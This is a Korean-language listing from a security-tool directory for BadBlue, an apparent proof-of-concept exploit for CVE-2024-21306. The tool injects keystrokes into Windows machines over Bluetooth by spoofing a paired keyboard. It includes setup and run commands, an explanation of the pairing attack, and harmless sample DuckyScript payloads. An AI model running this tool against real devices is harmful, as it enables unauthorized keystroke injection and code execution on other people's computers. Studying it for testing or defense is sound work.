Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
도구/GitHubGitHub/phuchaudeveloper/badblue
Bluetooth SecurityPayload GenerationExploitationWireless SecurityPenetration TestingHardware & IoT Security
GitHubphuchaudeveloper/badblue

BadBlue

CVE-2024-21306 BadBlue 구현 (DuckyScript 사용)

저장소 보기
1222년 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

BadBlue (Windows)

CVE-2024-21306 BadBlue 구현 (DuckyScript 사용)

비인증 피어링으로 인한 코드 실행 (HID 키보드 사용)

이것은 marcnewlin이 발견한 CVE의 구현입니다

그리고 BlueDucky의 일부 코드

소개

BadBlue는 블루투스 장치의 취약점을 악용하기 위한 강력한 도구입니다. 이 스크립트를 실행하면 다음을 수행할 수 있습니다:

  1. 더 이상 표시되지 않지만 블루투스가 여전히 활성화되어 있는 저장된 블루투스 장치를 불러옵니다.
  2. 스캔한 모든 장치를 자동으로 저장합니다.
  3. 장치와 상호 작용하기 위해 ducky script 형식으로 페이로드를 전송합니다.

저는 CSR 4.0, ORICO 4.0 등 블루투스 모듈을 사용하여 어떤 Raspberry Pi 4와 VirtualBox에서도 이 도구를 성공적으로 실행했습니다. .3007보다 낮은 버전의 다양한 Windows에서 작동합니다. Windows 컴퓨터가 블루투스 키보드와 페어링되어 있어야 하며, 키보드가 꺼져 있어야 합니다(또는 범위를 벗어나 있어야 합니다).

공격자는 Ubuntu(Kali에서도 실행할 수 있지만 권장되지 않음) 컴퓨터와 Broadcom 기반 블루투스 어댑터(CSR 4.0도 실행 가능할 수 있음)를 사용하여 대상 키보드의 주소를 스푸핑하고 NoInputNoOutput SSP 페어링 기능을 지정하면서 Windows 컴퓨터의 L2CAP 17에 연결합니다.

피해자는 Add a device Tap to set up your <Keyboard Name>라는 알림을 보게 됩니다.

알림을 무시하면 아무 일도 일어나지 않습니다.

알림을 클릭하면 블루투스 페어링 요청 대화상자가 표시됩니다.

피해자가 Add a Bluetooth device UI를 열어 둔 경우 알림이 표시되지 않고 대신 페어링 요청이 모달 대화상자로 즉시 표시됩니다.

공격자는 사용자가 Cancel 또는 X를 클릭하더라도 페어링 요청 대화상자가 닫히면 페어링을 완료할 수 있습니다. 페어링이 완료되면 공격자는 L2CAP 17(HID Control)에 연결합니다.

그런 다음 공격자는 L2CAP 19(HID Interrupt)에 연결하여 임의의 키 입력을 주입할 수 있습니다.

설치 및 사용

설정 지침

root@kitploit:~
# update apt
sudo apt-get update && sudo apt-get -y upgrade

# install dependencies from apt
sudo apt install -y bluez-tools bluez-hcidump git \
                    python3-pip python3-setuptools \
                    libbluetooth-dev dbus-x11

# configure bluetoothd to run in compatibility mode to support sdptool
sudo sed -i "s|ExecStart=/usr/lib/bluetooth/bluetoothd|ExecStart=/usr/lib/bluetooth/bluetoothd --compat|g" /lib/systemd/system/bluetooth.service
sudo systemctl daemon-reload
sudo systemctl restart bluetooth

# install pybluez
git clone https://github.com/pybluez/pybluez.git
cd pybluez
sudo python3 setup.py install
python3 -m pip install pydbus

# build bdaddr from bluez
cd ~
git clone https://github.com/bluez/bluez.git
cd bluez
gcc -o bdaddr tools/bdaddr.c src/oui.c -lbluetooth -I.
sudo cp bdaddr /usr/local/bin/

BadBlue 실행

root@kitploit:~
# clone this repository
git clone https://github.com/PhucHauDeveloper/BadBlue.git
cd BadBlue
python3 BadBlue.py
  1. 대상 Windows 컴퓨터에 블루투스 키보드를 페어링하고 키보드를 끕니다.
  2. Ubuntu 컴퓨터에서 PoC를 실행합니다: ./BadBlue.py -i <Interface> -k <Keyboard-Address> -c <Windows-Address>
  3. Windows 컴퓨터에 알림이 나타나면 알림을 클릭합니다.
  4. 페어링 요청 대화상자를 닫습니다(또는 Cancel 또는 Approve를 클릭합니다).
  5. 성공하면 Ubuntu 머신이 Windows 머신에 연결되어 비파괴적인 페이로드를 주입합니다.

-k는 키보드입니다(기본값은 제 키보드 F4:73:35:7A:4B:BB이며, 변경해야 합니다).

-i는 인터페이스입니다(기본값 hci0).

-c는 대상 Windows 장치입니다(비워 두면 도구가 자동으로 스캔합니다).

Duckyscript

작업 진행 중:

  • 아이디어를 제안해 주세요

알려진 버그

처음 사용할 때 readchar가 없다면 다음 명령어를 사용하세요:

root@kitploit:~
pip install readchar

이 도구는 GUI 환경에서 실행해야 합니다. CLI에서는 dbus-launch 오류가 발생할 수 있습니다. 해결 방법을 알면 저에게 연락해 주세요.

예제 payload.txt:

root@kitploit:~
REM Title of the payload
STRING ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz1234567890!@#$%^&*()_-=+\|[{]};:'",<>.?
GUI D
root@kitploit:~
REM Opens RickRoll
DELAY 200
GUI r
DELAY 200
STRING https://www.youtube.com/watch?v=dQw4w9WgXcQ
DELAY 300
ENTER
DELAY 300

BadBlue로 즐겁게 실험해 보세요!

도구 다운로드